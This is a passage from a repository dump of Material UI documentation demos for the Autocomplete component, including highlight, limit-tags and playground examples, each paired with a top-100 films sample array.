{ title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/Grouped.tsx.preview",
    "content": "<Autocomplete\n  options={options.sort((a, b) => -b.firstLetter.localeCompare(a.firstLetter))}\n  groupBy={(option) => option.firstLetter}\n  getOptionLabel={(option) => option.title}\n  sx={{ width: 300 }}\n  renderInput={(params) => <TextField {...params} label=\"With categories\" />}\n/>"
  },
  {
    "path": "docs/data/material/components/autocomplete/Highlights.js",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport parse from 'autosuggest-highlight/parse';\nimport match from 'autosuggest-highlight/match';\n\nexport default function Highlights() {\n  return (\n    <Autocomplete\n      sx={{ width: 300 }}\n      options={top100Films}\n      getOptionLabel={(option) => option.title}\n      renderInput={(params) => (\n        <TextField {...params} label=\"Highlights\" margin=\"normal\" />\n      )}\n      renderOption={(props, option, { inputValue }) => {\n        const { key, ...optionProps } = props;\n        const matches = match(option.title, inputValue, { insideWords: true });\n        const parts = parse(option.title, matches);\n\n        return (\n          <li key={key} {...optionProps}>\n            <div>\n              {parts.map((part, index) => (\n                <span\n                  key={index}\n                  style={{\n                    fontWeight: part.highlight ? 700 : 400,\n                  }}\n                >\n                  {part.text}\n                </span>\n              ))}\n            </div>\n          </li>\n        );\n      }}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/Highlights.tsx",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport parse from 'autosuggest-highlight/parse';\nimport match from 'autosuggest-highlight/match';\n\nexport default function Highlights() {\n  return (\n    <Autocomplete\n      sx={{ width: 300 }}\n      options={top100Films}\n      getOptionLabel={(option) => option.title}\n      renderInput={(params) => (\n        <TextField {...params} label=\"Highlights\" margin=\"normal\" />\n      )}\n      renderOption={(props, option, { inputValue }) => {\n        const { key, ...optionProps } = props;\n        const matches = match(option.title, inputValue, { insideWords: true });\n        const parts = parse(option.title, matches);\n\n        return (\n          <li key={key} {...optionProps}>\n            <div>\n              {parts.map((part, index) => (\n                <span\n                  key={index}\n                  style={{\n                    fontWeight: part.highlight ? 700 : 400,\n                  }}\n                >\n                  {part.text}\n                </span>\n              ))}\n            </div>\n          </li>\n        );\n      }}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/LimitTags.js",
    "content": "import Autocomplete from '@mui/material/Autocomplete';\nimport TextField from '@mui/material/TextField';\n\nexport default function LimitTags() {\n  return (\n    <Autocomplete\n      multiple\n      limitTags={2}\n      id=\"multiple-limit-tags\"\n      options={top100Films}\n      getOptionLabel={(option) => option.title}\n      defaultValue={[top100Films[13], top100Films[12], top100Films[11]]}\n      renderInput={(params) => (\n        <TextField {...params} label=\"limitTags\" placeholder=\"Favorites\" />\n      )}\n      sx={{ width: '500px' }}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/LimitTags.tsx",
    "content": "import Autocomplete from '@mui/material/Autocomplete';\nimport TextField from '@mui/material/TextField';\n\nexport default function LimitTags() {\n  return (\n    <Autocomplete\n      multiple\n      limitTags={2}\n      id=\"multiple-limit-tags\"\n      options={top100Films}\n      getOptionLabel={(option) => option.title}\n      defaultValue={[top100Films[13], top100Films[12], top100Films[11]]}\n      renderInput={(params) => (\n        <TextField {...params} label=\"limitTags\" placeholder=\"Favorites\" />\n      )}\n      sx={{ width: '500px' }}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/LimitTags.tsx.preview",
    "content": "<Autocomplete\n  multiple\n  limitTags={2}\n  id=\"multiple-limit-tags\"\n  options={top100Films}\n  getOptionLabel={(option) => option.title}\n  defaultValue={[top100Films[13], top100Films[12], top100Films[11]]}\n  renderInput={(params) => (\n    <TextField {...params} label=\"limitTags\" placeholder=\"Favorites\" />\n  )}\n  sx={{ width: '500px' }}\n/>"
  },
  {
    "path": "docs/data/material/components/autocomplete/Playground.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport Stack from '@mui/material/Stack';\n\nexport default function Playground() {\n  const defaultProps = {\n    options: top100Films,\n    getOptionLabel: (option) => option.title,\n  };\n  const flatProps = {\n    options: top100Films.map((option) => option.title),\n  };\n  const [value, setValue] = React.useState(null);\n\n  return (\n    <Stack spacing={1} sx={{ width: 300 }}>\n      <Autocomplete\n        {...defaultProps}\n        id=\"disable-close-on-select\"\n        disableCloseOnSelect\n        renderInput={(params) => (\n          <TextField {...params} label=\"disableCloseOnSelect\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"clear-on-escape\"\n        clearOnEscape\n        renderInput={(params) => (\n          <TextField {...params} label=\"clearOnEscape\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"disable-clearable\"\n        disableClearable\n        renderInput={(params) => (\n          <TextField {...params} label=\"disableClearable\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"include-input-in-list\"\n        includeInputInList\n        renderInput={(params) => (\n          <TextField {...params} label=\"includeInputInList\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...flatProps}\n        id=\"flat-demo\"\n        renderInput={(params) => (\n          <TextField {...params} label=\"flat\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"controlled-demo\"\n        value={value}\n        onChange={(event, newValue) => {\n          setValue(newValue);\n        }}\n        renderInput={(params) => (\n          <TextField {...params} label=\"controlled\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"auto-complete\"\n        autoComplete\n        includeInputInList\n        renderInput={(params) => (\n          <TextField {...params} label=\"autoComplete\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"disable-list-wrap\"\n        disableListWrap\n        renderInput={(params) => (\n          <TextField {...params} label=\"disableListWrap\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"open-on-focus\"\n        openOnFocus\n        renderInput={(params) => (\n          <TextField {...params} label=\"openOnFocus\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"auto-highlight\"\n        autoHighlight\n        renderInput={(params) => (\n          <TextField {...params} label=\"autoHighlight\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"auto-select\"\n        autoSelect\n        renderInput={(params) => (\n          <TextField {...params} label=\"autoSelect\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"disabled\"\n        disabled\n        renderInput={(params) => (\n          <TextField {...params} label=\"disabled\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"disable-portal\"\n        disablePortal\n        renderInput={(params) => (\n          <TextField {...params} label=\"disablePortal\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"blur-on-select\"\n        blurOnSelect\n        renderInput={(params) => (\n          <TextField {...params} label=\"blurOnSelect\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"clear-on-blur\"\n        clearOnBlur\n        renderInput={(params) => (\n          <TextField {...params} label=\"clearOnBlur\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...defaultProps}\n        id=\"select-on-focus\"\n        selectOnFocus\n        renderInput={(params) => (\n          <TextField {...params} label=\"selectOnFocus\" variant=\"standard\" />\n        )}\n      />\n      <Autocomplete\n        {...flatProps}\n        id=\"readOnly\"\n        readOnly\n        defaultValue={flatProps.options[13]}\n        renderInput={(params) => (\n          <TextField {...params} label=\"readOnly\" variant=\"standard\" />\n        )}\n      />\n    </Stack>\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 